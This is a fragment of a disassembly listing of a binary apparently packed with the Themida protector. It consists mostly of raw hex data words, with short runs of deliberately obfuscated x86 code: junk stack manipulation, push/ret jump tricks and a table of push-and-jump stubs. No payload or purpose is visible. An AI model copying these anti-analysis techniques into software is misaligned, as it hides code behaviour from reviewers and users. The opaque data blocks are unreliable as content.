0E726959h, 27878070h, 419F9989h, 0D243A4A3h dd 760129AAh, 0F4C9EB1h, 2414B21Ah, 0DA2ECC2Ah, 0B4B7150Fh dd 0BFAA04FEh, 0ED83EE63h, 0F5F86256h, 0D16F079Fh, 8487E9E1h dd 0D876D4CEh, 7655F35h, 0A44AE04h, 25BCAF22h, 0D57FF17Ah dd 40FC824Dh, 9AFD2596h, 0BE0C6FE9h, 0AC49BC26h, 5D69FBC2h dd 95C2150Fh, 69E75F4h, 60D17C07h, 5B939777h, 5AB5B806h dd 0B425D053h, 6186FB5Bh, 0B7C478C2h, 123FC581h, 60B6B919h dd 0AF8530C8h, 0C9B957B5h, 507F71CFh, 0E587A9F0h, 0C325D02h dd 0F8EB0000h, 0AFEEE8Ch, 1A1202A0h, 342A1AB8h, 4B4030CEh dd 79D845E3h, 10AE160Bh, 27C52920h, 40DE3E37h, 5AF85650h dd 6189FA5Bh, 68760129h, 150F0355h, 0D94BB4B7h, 0F398C8DFh dd 0BF3CA678h, 89B122CCh, 906FE9ABh, 29FFAA42h, 0DA65CF31h dd 0FBD36469h, 1887F969h, 0C2714FAEh, 6B7BC226h, 52EA34B1h dd 1DBB09E8h, 53FE8588h, 0E19B9E2h, 0C772C070h, 9699F7F1h dd 0A2F3D640h, 6FE9C976h, 21F5D5AEh, 0D81E3CCAh, 5211h dd 6EDF6800h, 6FE9BD46h, 619D0755h, 3A62D35Ch, 416FE907h dd 10C89F3h, 8D66D782h, 0FC69FB4Bh, 342D03AEh, 81AB36D4h dd 9375FB54h, 84E4DB99h, 0E0EC99BDh, 0FE019919h, 827210A8h dd 81262989h, 0B64h, 0F22C6EE0h, 57978C5Dh, 0A6FCFF5Dh dd 6A68A40Eh, 0C435E063h, 69F1189Fh, 9F75206Eh, 0B9A947A5h dd 0E44565BFh, 23A57F6h, 10C676Ah, 0B266D782h, 257009F6h dd 87F15B4Fh, 26AF5AA8h, 0EA85B3B4h, 0B8223977h, 475E6E0h dd 6FE9F4DCh, 5FFD95E3h, 1417756Fh, 842FB2B9h, 70FF3912h dd 93FD4074h, 0B3D69708h, 0A9F769FBh, 374416B7h, 8B301373h dd 0AF0h, 30CE3A2Dh, 44E24C40h, 5CFA5C54h, 7210766Ch, 87258D82h dd 584DBF1Ah, 6B6252F0h, 80796907h, 98928220h, 3C9D9C3Ah dd 12BA3CBh, 4597AA76h, 0E9074874h, 0DED5AB6Fh, 0B721777Ah dd 5B0333Ah, 0F118D894h, 0EB90769h, 42E03E38h, 0F7FA5852h dd 6712919Ch, 134DF1F6h, 67F26470h, 668EFF1Fh, 756FF3E0h dd 22B69327h, 4A9877E1h, 3F0B6B58h, 22C7AA79h, 0A78h, 0A846B2A5h dd 0BC5AC4B8h, 0D472D4CCh, 0EA88EEE4h, 0FF9D05FAh, 0D0C53792h dd 0E3DACA68h, 0F8F1E17Fh, 100AFA98h, 0B41514B2h, 12B1B43h dd 0BD0F2276h, 0CB7150Fh, 74DE3C36h, 83E1DB91h, 0AA0802D8h dd 0EC56BCB2h, 5535EC09h, 1D7F2A81h, 53E71D8h, 6A170000h dd 0C435E063h, 69F11904h, 318F895Fh, 0EF9AE8C7h, 23C11F19h dd 2ABA0E80h, 62CE2DD3h, 0E07458C1h, 5FD9034h, 0B24AA0A3h dd 18767048h, 29A0976Dh, 15190B8h, 0B9519F76h, 6669C7C1h dd 72C3A610h, 76015146h, 822DB4B7h, 137A0C11h, 0FDEF3D70h dd 793F6EB4h, 0C9BD6245h, 54000009h, 6757F561h, 7B6B0973h dd 93832183h, 0A999379Dh, 41AE4CB4h, 177F74E6h, 2E928979h dd 47A7A090h, 61BFB9A9h, 0F263C4C3h, 76012CCAh, 0F6CBED1h dd 0FEB4B715h, 0FA229304h, 16FE907h, 0FB181BB3h, 0CE26444h dd 6C49B313h, 0D81D7F15h, 48F5Ch, 48740200h, 0B96FE907h dd 13842FB2h, 69F11919h, 0E8A92698h, 9891EDE0h, 56014F2Eh dd 8A288680h, 3F42A09Ah, 0AF5AE9E4h, 1373393Eh, 51461C70h dd 0C7DE6E9h, 6FF374E4h, 9B059DEBh, 2B7C6EBCh, 0BA793F64h dd 92E32D7h, 0FCEF0000h, 0E02F290h, 1E1606A4h, 382E1EBCh dd 4F4434D2h, 7DDC49E7h, 14B21A0Fh, 2BC92D24h, 44E2423Bh dd 5EFC5A54h, 658DFE5Fh, 7476012Ch, 150F0F61h, 7AEB5E57h dd 6FE90752h, 0DB730B59h, 0CA2822D8h, 0EB55491Fh, 0CA819E81h dd 7EBF16EAh, 0DEB4D81Dh, 287E81E9h, 0FFE40C7Dh, 9DEB6FE8h dd 3E2FA33h, 74A00000h, 6FE9074Eh, 7E29B8B3h, 0D3FB6CF5h dd 0DA6FE907h, 0ACAF228Ch, 5969F118h, 908A600Bh, 1F15DDD2h dd 0C860B6B9h, 39D76FC5h, 46F14F49h, 0C9BE94D4h, 0AE18486Bh dd 3D962CBh, 52A8AB09h, 1A397BFh, 46D91176h, 0F6144392h dd 0C23FA9F7h, 48D38CBh, 3DD03A2Eh, 7601D015h, 1D7D7624h dd 0C22CC41Ah, 0DED8AE37h, 0BD277D80h, 13E9BD4Ah, 0A617A070h dd 6FF3F67Eh, 23943F8Dh, 6FF3F6FBh, 6B4AB402h, 6164C4BDh dd 0F65F87F8h, 206E6FF3h, 27FEF088h, 32793EE2h, 82EAA4Fh dd 0FCEF0000h, 0E02F290h, 1E1606A4h, 382E1EBCh, 4F4434D2h dd 7DDC49E7h, 14B21A0Fh, 2BC92D24h, 44E2423Bh, 5EFC5A54h dd 658DFE5Fh, 7476012Dh, 865C0F61h, 0D0262991h, 36948E66h dd 58C0B58Bh, 5B550BEEh, 25DEFAFDh, 1E7C7645h, 49A40173h dd 34930D3h, 4DA3A60Eh, 0D8CD4BB5h, 0D81E0F81h, 7C8h, 0DD206E00h dd 0CE000002h, 0E9074E74h, 4F33A56Fh, 0C964FC0Eh, 3F2EAB15h dd 4D1618A8h, 0BA3B9F0h, 85E5EF60h, 0FB8469F1h, 17A628Ah dd 0B11B6976h, 50D984D2h, 0B51F837Ah, 2F25E3DDh, 85AD1EC9h dd 9476017Ah, 2010AE46h, 5CC5C826h, 7A3A62D3h, 0F3417601h dd 82010C89h, 93D966D7h, 0F37C7013h, 0F35C5A82h, 0B9B3616Fh dd 7A59C35Bh, 7BE13A2Ch, 8164793Fh, 753DCh, 6BD7CA00h dd 7FE9DDCDh, 97F9F1E1h, 0AD1309F9h, 0C22A1F0Fh, 0EA58B724h dd 0FFEF8DF5h, 1606A408h, 2F1FBD1Dh, 3A39D735h, 2E4068D9h dd 3C4F7601h, 0B7150FEAh, 9304FEB4h, 771990Ah, 2A786FE9h dd 0E9076F97h, 85307E6Fh, 0E907EC14h, 0DA5F36Fh, 0FA5C540Ah dd 0E34D41F7h, 0C5A51EE0h, 5F3FF856h, 9A389690h, 1D7B4EA5h dd 795D8h, 203B0000h, 1F8h, 74D74CEh, 32A46FE9h, 0DCF52644h dd 0A01D8714h, 0FA6B16ADh, 69F1E1E5h, 754BF644h, 8F7F1D7Bh dd 0D9343795h, 94F8EFD2h, 0F8A33B91h, 70682A22h, 1D73760Eh dd 2AB728B3h, 0FB7013F8h, 0F2F5534Dh, 0F712049Ch, 32793EDFh dd 692AA4Fh, 988B0000h, 0AA9E8E2Ch, 0BAB2A240h, 0D4CABA58h dd 0EBE0D06Eh, 1978E583h, 0B04EB6ABh, 0C765C9C0h, 0E07EDED7h dd 0FA98F6F0h, 1299AFBh, 876012Fh, 150FA3F5h, 3E360CB7h dd 8C24827Ch, 8F893F22h, 7578D8D1h, 6884871Fh, 600CFAFh dd 7F8BFDA8h, 6CD2C81Ah, 0CB5A9AD8h, 6A40E361h, 0C8A50F73h dd 0D81E0171h, 7B8h, 3D205E00h, 0CE000001h, 3A62D35Ch dd 416FE907h, 0EF1689F3h, 526FE907h, 73058C9h, 0DE3F6FE9h dd 0E907456Dh, 6E06546Fh, 72A52C3h, 0E3316FE9h, 12F1FC79h dd 741FB71Bh, 0F118E603h, 3EE93769h, 0A50F6F68h, 0D94A441Ah dd 1254068h, 7564BA76h, 34C20715h, 0B14FE735h, 6669C7C1h dd 0D681000Bh, 5C012D64h, 53BDC38Ch, 3FCA57C8h, 0D5B7013h dd 3F97E41Bh, 0A94E3179h, 5B0h, 700E7A6Dh, 84228C80h, 9C3A9C94h dd 0B250B6ACh, 0C765CDC2h, 988DFF5Ah, 0ABA29230h, 0C0B9A947h dd 0D8D2C260h, 7CDDDC7Ah, 130E30Bh, 85D7EA76h, 71BB150Fh dd 56982E4Dh, 7C3235CDh, 0F0792482h, 0E991577Fh, 0AE18666Fh dd 830CAFCBh, 0E991EA12h, 0A0FEF86Fh, 0FE48479Dh, 0A7481011h dd 0D03AD269h, 86804F2Fh, 0ED48B02Ch, 0A59C044Fh, 7311A941h dd 1E4D277Eh, 22931CD8h, 6FE9CDFAh, 1049B301h, 7, 3E20B6h dd 0FCE0000h, 4BB4B715h, 72951C2h, 0E2306FE9h, 4CA6A078h dd 9BEC74BDh, 0B223CEBEh, 6FE96A8Ah, 0A8AB4391h, 32B4944Bh dd 0FD00665Ch, 6B653DA7h, 6A6189FAh, 1A686FE9h, 2B05E482h dd 0B3000000h, 0B4B7150Fh, 0E9073663h, 0F4CA536Fh, 8F309AFCh dd 88E6E0AFh, 0AE0E07DDh, 9CFCF5ABh, 0AB4399h, 0E907678Fh dd 0BE28766Fh, 865CEC40h, 70D0C991h, 9C966ED8h, 0EDE03B3Eh dd 153AAB56h, 0F469F118h, 72FBA6h, 0D9D50AA0h, 244E92EDh dd 0CF075FF3h, 0F4EEC630h, 0C979EB96h, 0D9BC826Dh, 11017FE9h dd 4DB6B917h, 0EF208077h, 0BBAD9E09h, 59D640D8h, 0F9E1D352h dd 68703DAEh, 0B5244CBDh, 0DD2B7601h, 75299A45h, 947009C6h dd 4299B46h, 0AA613379h, 0AC35C02Ah, 7679E1D6h, 0C26B8C20h dd 0F0E6222h, 79D3CDA5h, 0D2D967A2h, 968D856Eh, 0CFC9A32h dd 8009B412h, 23564A0Eh, 0B447751Ch, 6FE9AF8Ch, 0AF4E76E7h dd 0F5D6FE9h, 163EAF10h, 256FE9AFh, 0F2D53FD7h, 0B6AD9497h dd 860FBA52h, 4FF68614h, 5061F557h, 2699030Ch, 69FBE765h dd 996456A4h, 7073370Fh, 3EEE88Dh, 3C2F0000h, 4E4232D0h dd 5E5646E4h, 786E5EFCh, 8F847412h, 0BD1C8927h, 54F25A4Fh dd 6B096D64h, 8422827Bh, 9E3C9A94h, 0A5CD3E9Fh, 0B4760132h dd 0EA5C4FA1h, 86D2BF9Bh, 8961CBE9h, 0A393318Fh, 92484BA9h dd 1B373A98h, 0B9B38262h, 0DF3EB05Bh, 2BD38EE8h, 31998E86h dd 0F06ED82Eh, 1983774Dh, 717BD2AFh, 0E770D81Eh, 0E9F24E76h dd 0A50F5D6Fh, 306Ch, 636A1200h, 0EBC435E0h, 3269FB4Bh dd 6A6339E4h, 0B7E16C0Ah, 0CD75FB54h, 0E7D775D3h, 0D3372EEEh dd 70E67AD0h, 0C5312936h, 26CBCE66h, 34Ch, 62D35CD4h, 6FE9073Ah dd 476FE041h, 566FE907h, 89067008h, 0E354FF82h, 69FB0DA6h dd 0B06669B7h, 0F85558B6h, 355DCE57h, 4475FB11h, 0A505FEF6h dd 46BA9A3Bh, 3B11BC47h, 335BCC45h, 3A75FB11h, 5FEA54ECh dd 0D17B1EEh, 0F492E070h, 2AD56C5Fh, 0FB0D7CB9h, 3C3F8D69h dd 26299186h, 575026CFh, 0CEC8DF7h, 630E9598h, 0D17B5F2h dd 0F896E470h, 0ADB00E08h, 19FFDF7h, 37E2616Ch, 0FB1E09C6h dd 0E7EA3869h, 0FB226A96h, 6DDFA275h, 0B0C1538Ah, 6BE6E748h dd 75E8FD91h, 0F076BB9Fh, 24BC3389h, 0B73919BAh, 1E88E8E1h dd 3014EA41h, 4931DEh, 5CD70000h, 0BF299186h, 0DB84B42h dd 0FB119B9Ch, 9E68B269h, 0EE15CBA4h, 5AABAE46h, 75FB3B2Eh dd 0E8EB4B44h, 0D3D63C32h, 0B31EFEB7h, 0AE0EC941h, 6D43DB2Ch dd 0A932B494h, 0FBD01038h, 67D11F75h, 3044338Ah, 0E17ADEh dd 5C200000h, 73A62D3h, 0F7416FE9h, 337E04C9h, 64CE66F8h dd 3134928Ch, 0C5BE867Bh, 61CACD65h, 3033918Bh, 96BE2FDAh dd 0A56FE934h, 1B15ED57h, 0A04BABDh, 70830EACh, 0C46FE92Fh dd 0DECE6CCAh, 288386E4h, 0E04A3E25h, 44EF87DDh, 0FB4E1AD3h dd 71E24369h, 75FB1249h, 0CC6A0250h, 0CABEB729h, 0FCC14FEDh dd 8B161592h, 0C3D96FE0h, 0E344700Fh, 1EB1170Dh, 6FEFBCF6h dd 741FB705h, 0C9F162EBh, 246FEFBCh, 0EFBC8BB3h, 4544926Fh dd 0C0B58DF7h, 0D5CABA58h, 1B787B6Dh, 9A7D7943h, 1B3F5h dd 0B776A00h, 1F897D6Dh, 37999181h, 4DB3A999h, 62CABFAFh dd 8AF857C4h, 9F8F2D95h, 0B6A644A8h, 0CFBF5DBDh, 0DAD977D5h dd 34E00879h, 0DCEF7601h, 0B21A0F8Ah, 91289507h, 80C6D75Fh dd 0AEA89816h, 6A5EB250h, 0AC35E063h, 0E907133Bh, 746C1A6Fh dd 85107A12h, 0FB121314h, 0E9EC3A69h, 52B0AA80h, 4D75E64Fh dd 5C75FB1Eh, 5ACB760Eh, 75FB1E32h, 0E81EB39h, 75FB1EE2h dd 8D61411Ah, 0DE2F9236h, 0AB7Dh, 0D35C2300h, 0E9073A62h dd 0EB53486Fh, 5C349EECh, 98010462h, 0FF69C9C2h, 0C7CA3227h dd 0E9026376h, 71CFC96Fh, 8BE9E3D3h, 0A33E2D88h, 28CE87F8h dd 0B1FF69FBh, 0F88F7E13h, 99EA13B3h, 1C63D093h, 0FA2621Ah dd 0C334DF77h, 70102A8Ch, 0F984391h, 77E13F39h, 0A442AA9Fh dd 0EF5BBFB4h, 0EC509C78h, 0E27F7109h, 777943A7h, 0C2EF94h dd 685B0000h, 7A6E5EFCh, 8A827210h, 0A49A8A28h, 0BBB0A03Eh dd 0E948B553h, 801E867Bh, 97359990h, 0B04EAEA7h, 0CA68C6C0h dd 0D1F96ACBh, 0D8760135h, 1A0F73C5h, 2A2414B2h, 524B21CCh dd 0B60A88F2h, 5E57150Fh, 4043A79Eh, 0B7BA52EAh, 1A84784Eh dd 9062C517h, 0FA664D19h, 2620F862h, 96952AC8h, 47EF600Bh dd 5669F1C9h, 554F0508h, 52C34CF7h, 7601B52Ah, 0DCDF3F38h dd 0CF398786h, 9676151h, 2C92885Eh, 8669D329h, 0ADFE4C35h dd 0A6863D81h, 0FB6CDDD7h, 824DFFD3h, 70E18CDAh, 824DFF48h dd 0D3710957h, 888BE9E3h, 7376DCD2h, 0AE7D5D1Ch, 0C8B856B4h dd 0C86D70CEh, 8, 340A9576h, 3571DB3Bh, 0ADB01C0Fh, 9C9FFDF7h dd 8A8DEDE6h, 7679DDD4h, 6063CBC0h, 4A4DB5AAh, 35389E94h dd 2225877Fh dd 0B0E786Ch ; --------------------------------------------------------------------------- dec ebp push ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 sub ebp, edx pop edx xchg ebp, [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx mov eax, 7AA863C7h dec eax or eax, 352250A6h push edx mov edx, 1CF57FD3h neg edx shl edx, 4 shl edx, 6 xor edx, 20BD370Ch xor edx, 6183C1B2h xor eax, edx pop edx or eax, 21E32AD9h shl eax, 6 add eax, 88492980h push 4E1Eh mov [esp], esp add dword ptr [esp], 4 pop ebx sub esp, 4 mov [esp], eax pop dword ptr [ebx+8] mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_54EA15 ; --------------------------------------------------------------------------- db 7Dh, 1Dh, 0E8h dd 65E319F0h, 182F33B8h, 0FFC50306h, 15E830E0h, 579A533Fh dd 18287A57h, 9036467h, 0DCF71203h, 0A738176Eh, 8BE3FD5Ch dd 3E716100h, 0B7962A68h, 3C0E7928h, 38A7A37Dh, 0EAEEC25h dd 81BDC033h, 7D11686Eh, 1B9BEA46h, 2AC7703Ch, 0EF70F929h dd 9ABE3A24h, 0A96CCB56h, 0AD1CA67Eh, 10D8B34Ah, 0FC87F56Eh dd 9369913Fh, 52317D0Ch, 11E83Eh, 0FFD10000h, 21D3A6EBh dd 660983BFh, 725F940Ah, 5965456Bh, 0E1C181F5h, 0E800005Fh dd 5, 0A8BBE64Ah, 58C68BF6h, 8B66DB33h, 19148BC1h, 0F281F88Bh dd 1E297525h, 8168DC80h, 57C34BC2h, 0E681664Bh, 0C28115A7h dd 777390AAh, 19048F52h, 61FAB860h, 0BE66163Fh, 66610AA9h dd 1171E881h, 5003EB83h, 0E84B5FF5h, 13h, 0E0555742h, 0D1ADD477h dd 40CE076Eh, 7E2CF328h, 582F4C5Eh, 0A0A8FB81h, 850FFFFFh dd 0FFFFFFA1h, 8DC68B66h, 1831938Dh, 8D89FC06h, 61209A1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0CBC35646h dd 4EB2637Eh, 0CCC97F56h, 9D98529h, 85C70612h, 6120505h dd 72BCh, 21EDB58Bh, 85C70612h, 6121BD9h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5A9B53 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A9B53 proc near ; CODE XREF: Themida_:005A9B4Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5A9B53 endp ; --------------------------------------------------------------------------- aaa xor esp, [esi+0Ch] lodsb xor [eax+3101B589h], ah adc al, [esi] push dword ptr [ebp+612050Dh] movzx ebx, ax call dword ptr [ebp+6121B31h] push 0 push eax call sub_5A9B8A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A9B8A proc near ; CODE XREF: Themida_:005A9B82p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5A9B8A endp ; --------------------------------------------------------------------------- pop edi jnz short loc_5A9BC6 xchg eax, ebp mov cl, 28h adc al, [esi] push 0 call dword ptr [ebp+61219CDh] mov eax, eax jmp short loc_5A9BB7 ; --------------------------------------------------------------------------- dw 4AA2h dd 0EFB22AA0h db 58h, 1Dh, 0D5h ; --------------------------------------------------------------------------- loc_5A9BB7: ; CODE XREF: Themida_:005A9BACj jmp loc_5A9D3E ; --------------------------------------------------------------------------- inc ebp jz short loc_5A9BEE xor [edi], esp sub al, 0D5h sbb dl, bl cwde loc_5A9BC6: ; CODE XREF: Themida_:005A9B9Bj mov cl, 46h xlat ror edx, 1 mov ah, 0EFh inc ecx jle short near ptr byte_5A9C2B in al, 52h xchg eax, edi pop ebp insd sti mov ds:0B99244FCh, eax sahf movsd xchg eax, edx xlat mov esp, 93B9E495h loc_5A9BE4: ; CODE XREF: Themida_:005A9BF4j add bl, cl mov dl, 9Dh hlt ; --------------------------------------------------------------------------- mov ds:0B9FC9CACh, eax loc_5A9BEE: ; CODE XREF: Themida_:005A9BBDj sahf add dl, dl inc ebp leave scasd jnb short loc_5A9BE4 add ah, bh push ebp xchg eax, edi mov edx, 0E56D599Ch movsb mov dl, 0FFh lodsb inc byte ptr [edi-0Ah] push edi push esi ; --------------------------------------------------------------------------- dd 0CCD4C4h, 8F7DB5F6h, 539549F7h, 0C9BCFA97h, 915CCD45h dd 0ACE56CA1h, 10000h, 0 db 3 dup(0) byte_5A9C2B db 0 ; CODE XREF: Themida_:005A9BCEj dd 41h dup(0) dd 6D849700h, 69F033A2h, 0EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A9D3E: ; CODE XREF: Themida_:loc_5A9BB7j jmp loc_5AADAF ; --------------------------------------------------------------------------- push 61834F7h jmp loc_55B50E ; --------------------------------------------------------------------------- push 61835F9h jmp loc_55B50E ; --------------------------------------------------------------------------- push 61837AFh jmp loc_55B50E ; --------------------------------------------------------------------------- push 6183874h jmp loc_55B50E ; --------------------------------------------------------------------------- push 61839B6h jmp loc_55B50E ; --------------------------------------------------------------------------- push 6183A81h jmp loc_55B50E ; --------------------------------------------------------------------------- push 6183B45h jmp loc_55B50E ; --------------------------------------------------------------------------- push 6183BADh jmp loc_55B50E ; --------------------------------------------------------------------------- push 6183CE0h jmp loc_55B50E ; --------------------------------------------------------------------------- push 6183D64h jmp loc_55B50E ; --------------------------------------------------------------------------- push 6183E6Bh jmp loc_55B50E ; --------------------------------------------------------------------------- push 6183F26h jmp loc_55B50E ; --------------------------------------------------------------------------- push 6183FDDh jmp loc_55B50E ; --------------------------------------------------------------------------- push 6184136h jmp loc_55B50E ; --------------------------------------------------------------------------- push 618422Ch jmp loc_55B50E ; --------------------------------------------------------------------------- db 40h, 62h, 3Ch dd 3B6B3A84h, 396D3983h, 35693781h, 3670337Dh, 0A3620E7Eh dd 0A4EEA600h, 0A1EBA3FBh, 0A1EBA303h, 0C6E69E00h, 9A4FB5CBh dd 8402B399h, 7A247D07h, 794160EAh, 3DF5636Bh, 14CC9FF7h dd 1F10F300h, 7362F9A0h, 772754ADh, 2A32E94Ah, 48398C94h dd 93FF4532h, 0AF3FF2BBh, 6FB78D57h, 1AFFFB4Ch, 419C6DEAh dd 46076Ah, 0ACF40000h, 0FF9F02F7h, 0FF253B2Ch, 724C6F8Fh dd 0B3D96CBFh, 0BCD2C386h, 0BB93C10Fh, 4AC2BE4h, 77C982F0h dd 0B637DD2Bh, 564F4C6Ch, 3EE3C050h, 0E093388Bh, 0B62CF850h dd 0A09C4C6Ch, 9FCC8BBBh, 0D4A86A42h, 0F3000000h, 0EA7A247Dh dd 0B0A470EFh, 4333D122h, 733370F0h, 564859E3h, 39653CC6h dd 0A60048h, 79DDF5ADh, 81B58165h, 26F69A20h, 1B8E6BBh dd 5D30A1C2h, 58465BA5h, 844774C8h, 0B21DA93h, 0B581E1E5h dd 452A558h, 0BB93E29Fh, 51651DD0h, 0B3EBB420h, 3ED9EFE0h dd 1B42781Fh, 5BE7768h, 583309EFh, 63436146h, 4D4E27BEh dd 2787B9CCh, 22810154h, 2182CC84h, 0DE11C785h, 89213ADAh dd 0E03B1h, 702E7400h, 6F376EB8h, 6D396DB7h, 69356BB5h dd 6A3C67B1h, 0D72E42B2h, 0D822DACCh, 0D51FD7C7h, 0D51FD7CFh dd 0FA1AD2CCh, 9D03E9FFh, 0B836B399h, 62267D3Bh, 81A9A44Ch dd 13E699B5h, 0D47AA322h, 8B80CAF8h, 64B78A14h, 5F3F62ACh dd 237B266Eh, 0B3BB18D0h, 0BCD2C386h, 0BB93C10Fh, 5C722BE4h dd 4C6C41B4h, 40A8F6A9h, 0F54C6C41h, 0C0930B95h, 2415C86Dh dd 0ABC1C7DCh, 4C6C4145h, 0F27245F8h, 0C9CEFAFh, 6C4170B4h dd 0C75C584Ch, 5D495AA2h, 0D699BE0Ah, 0B2DB6A41h, 26000000h dd 15DCC40Ch, 0A9861690h, 9E0383D6h, 0BDE67000h, 550159E9h dd 0A5B581AEh, 69B1A2FCh, 0FAD76737h, 0EC34EFA7h, 815EEEB8h dd 0ABF3AE2Eh, 0D7BAC71Bh, 56ABD0E6h, 850446Ch, 11B6099Dh dd 6192A65Eh, 4F9BB1A2h, 0EE427BA8h, 7B914A3Bh, 4658F895h dd 0D1C215C8h, 0D48C1A89h, 0CF8D198Ah, 3ADAE213h, 1AF871Fh dd 7600000Dh, 70BA722Ch, 6FB97135h, 6DB76F37h, 69B36B33h dd 44B46C3Ah, 0DCCAD92Ch, 0D9C5DA24h, 0D9CDD721h, 0D4CAD721h dd 0EB01FC1Ch, 0B3999C05h, 7D3DBA38h, 41809C26h, 15F5B7FEh dd 61408A42h, 7D934C3Dh, 0B5816597h, 0CC417CAh, 7A247DAFh dd 0FAA7EFEAh, 0B73714A4h, 0E363B6E8h, 34F9FCBEh, 6D8A883h dd 78C07B33h, 9E67628h, 7C5F6CB6h, 0DFE4758Bh, 6619BB93h dd 0C93DBD6h, 37F13F92h, 954C6FCFh, 26DF8099h, 8EDCC2DEh dd 4C6FCF66h, 0CB7128DBh, 0A2C545C3h, 0BF98E437h, 0B56A4144h dd 0A8h, 2DD3E9A2h, 204C6F2Fh, 0C871A6Dh, 0A64F188Dh, 53ABE1h dd 0D5C685B6h, 3D90168Dh, 3C35364Ch, 45FEBB93h, 248E768Ch dd 10C34C6Fh, 6F245AC2h, 95C0F4Ch, 2621B164h, 24B1576Dh dd 0F1A44C6Fh, 2494509Eh, 0F8F44C6Fh, 2D74E363h, 55006A41h dd 0ED000000h, 51A4FAA5h, 0C386B3BEh, 0CFD119D2h, 5D2E7CCFh dd 96BB93C1h, 0BF4F574Eh, 37EA8FE2h, 41954FA7h, 0F34C6Ch dd 57AFD981h, 0B2052E93h, 0B6FEA3B8h, 1460B3EBh, 6A42A943h dd 0A4014902h, 884CB402h, 4E014C6Ch, 1039FBh, 0A7260000h dd 0F34FD3C5h, 6F025503h, 8C62Fh, 86B39200h, 4DBCD2C3h dd 0F2BB99DCh, 589775Bh, 948F6B01h, 0BF3BF239h, 5D4E2140h dd 0DEF48C15h, 4C664E36h, 0EDA5782Bh, 10A0FEA3h, 0DBCC8FBCh dd 7E3C39C5h, 51672042h, 464E1FABh, 0E4FAEB9Eh, 464E1F3Ch dd 862B7E31h, 79AE2D3h, 0C95DF97h, 9DAE0292h, 0CAB7CDBEh dd 6B485C0Ch, 1516FAB8h, 0A84024BEh, 0B4BD0h, 28762C00h dd 277F2670h, 2581256Fh, 217D236Dh, 22841F69h, 8F76FA6Ah dd 90DA9214h, 8DD78F0Fh, 8DD78F17h, 0B2D28A14h, 9E7BA1B7h dd 70EEB399h, 0AA75AFF3h, 2E5BB581h, 0BFFB7A6Bh, 8B153DFBh dd 7A332477h, 8845ABC1h, 61F84A7Eh, 463532BBh, 8EE1B4ABh dd 664AD140h, 1BD38644h, 2617FA07h, 7E84F910h, 0AA9B4E42h dd 0A75F3F62h, 0A402A4ECh, 0CED0D151h, 0FAD9EA3Eh, 0D23A5009h dd 87464E85h, 7A9081D4h, 4856F7FCh, 0CA324819h, 7F583753h dd 0C008F9CCh, 84CCBDE1h, 0AA526820h, 9F583753h, 0AC8919ECh dd 4A57A159h, 0BA6CC454h, 16D83753h, 1F3526E5h, 0D625541Ah dd 7CDA984Bh, 16AEA746h, 0A86A67Eh, 0B1F10000h, 0BAEB35EDh dd 0BCEA34ECh, 0B8E832EAh, 0BFE42EE6h, 0B1BF2FE7h, 0A1594D56h dd 9E564857h, 9E565054h, 99514D54h, 80687E79h, 0B5B39991h dd 86B3BA37h, 87178F16h, 0F3C665C6h, 1BEE1980h, 0D2415748h dd 3BBB996Bh, 5C5697BCh, 4CA55C4Ah, 762EAE3Eh, 70C3A030h dd 6E2718CBh, 8C799FB5h, 39EC4C69h, 0B63B66E6h, 2DE5B8EEh dd 50E0BEE3h, 1B0CCFFCh, 71FE0A05h, 9B8C3F42h, 98504E53h dd 89E534Eh, 5A826A80h, 4B7464Eh, 7ACE5E31h, 83998A49h dd 485628CBh, 9D5647FAh, 0A5A61B1Eh, 2E7C071Eh, 583637C6h dd 5848C87Bh, 0BA02F346h, 0B5FFB7E7h, 0CA22B2ECh, 5836371Eh dd 95864576h, 2E45D47Fh, 346DB556h, 46FDDA6Ah, 0A7CFBB41h dd 11B609E8h, 7C256D5Eh, 0CF354B04h, 82521E67h, 679B81CFh dd 1BCE521Eh, 569E5748h, 0EAC7574Fh, 1E67749Ch, 75C6D752h dd 0C0265254h, 5D15681Bh, 80108E13h, 108F1F2Ch, 11CABB8Eh dd 55DA4258h, 2D43521Eh, 521E55C7h, 0C222C77Ah, 5835C5E1h dd 2DE43285h, 225C0627h, 7E8BDF6Fh, 18EBB3EEh, 0B481127h dd 4AFD5A14h, 7601BC8Ch, 4E26BE12h, 944h, 772F6F33h, 762E782Dh dd 742C7A2Ch, 7028762Ah, 71297D26h, 0B986F01h, 699E39Bh dd 0E96E098h, 0B96E098h, 0C0BBDB93h, 999042AAh, 0FC79F7B3h dd 0EA7A247Dh, 0CD5D4160h, 10C0597Dh, 3F550D91h, 642FBF18h dd 38C1E52Dh, 0CDAA3A6Ch, 3A8D6AFAh, 2678h, 871D6500h dd 0C39CC1Fh, 82DFDBC4h, 0B5A9001Eh, 0EBB43407h, 0F34623B3h dd 52F25h, 3AAB2A00h, 704AC84Bh, 73D265B8h, 834673A5h dd 0D23B7C92h, 0A95CBB93h, 0A3EBDFEFh, 4357160h, 0F13E5445h dd 0A69D71DDh, 0E20F63F3h, 3182E1Fh, 349B58FFh, 8FD79081h dd 980E8E10h, 4EA17E0Eh, 13CBD3CEh, 8C19D8C9h, 9C0A9A1Ah dd 9E5C2F0Ch, 0D3B9E594h, 79562EC6h, 0FE000008h, 0F842FAA4h dd 0F741F9ADh, 0F53FF7AFh, 0F13BF3ABh, 0CC3CF4B2h, 644261A4h dd 613D62ACh, 61455FA9h, 5C425FA9h, 738984A4h, 0B399938Dh dd 0CC542C0h, 0A9D73D53h, 6E78B581h, 8108E89Bh, 2E75D57Ah dd 0D252A578h, 0B53FCFCFh, 9950BEEh, 0F2B4EF79h, 0DFB28562h dd 23E61327h, 8CAB1C32h, 